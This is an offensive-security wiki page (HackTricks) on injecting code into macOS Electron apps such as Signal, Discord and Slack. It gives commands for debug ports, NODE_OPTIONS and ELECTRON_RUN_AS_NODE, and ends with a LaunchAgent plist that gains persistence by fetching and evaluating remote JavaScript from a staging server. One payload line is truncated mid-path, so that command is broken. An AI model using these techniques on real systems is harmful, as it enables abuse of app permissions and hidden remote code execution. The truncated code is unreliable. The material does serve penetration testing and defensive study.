hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md

6.9 KiB

macOS Electron Applications Injection

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Adding code to Electron Applications

The JS code of an Electron App is not signed, so an attacker could move the app to a writable location, inject malicious JS code and launch that app and abuse the TCC permissions.

However, the kTCCServiceSystemPolicyAppBundles permission is needed to modify an App, so by default this is no longer possible.

Inspect Electron Application

According to this, if you execute an Electron application with flags such as --inspect, --inspect-brk and --remote-debugging-port, a debug port will be open so you can connect to it (for example from Chrome in chrome://inspect) and you will be able to inject code on it or even launch new processes.
For example:

{% code overflow="wrap" %}

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

{% hint style="danger" %} Note that now hardened Electron applications with RunAsNode disabled will ignore node parameters (such as --inspect) when launched unless the env variable ELECTRON_RUN_AS_NODE is set.

However, you could still use the electron param --remote-debugging-port=9229 but the previous payload won't work to execute other processes. {% endhint %}

NODE_OPTIONS

{% hint style="warning" %} This env variable would only work if the Electron application hasn't been properly hardened and is allowing it. If hardened, you would also need to use the env variable ELECTRON_RUN_AS_NODE. {% endhint %}

With this combination you could store the payload in a different file and execute that file:

{% code overflow="wrap" %}

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

{% endcode %}

ELECTRON_RUN_AS_NODE

According to the docs, if this env variable is set, it will start the process as a normal Node.js process.

{% code overflow="wrap" %}

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

As proposed here, you could abuse this env variable in a plist to maintain persistence:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>EnvironmentVariables</key>
    <dict>
           <key>ELECTRON_RUN_AS_NODE</key>
           <string>true</string>
    </dict>
    <key>Label</key>
    <string>com.xpnsec.hideme</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Applications/Slack.app/Contents/MacOS/Slack</string>
        <string>-e</string>
        <string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥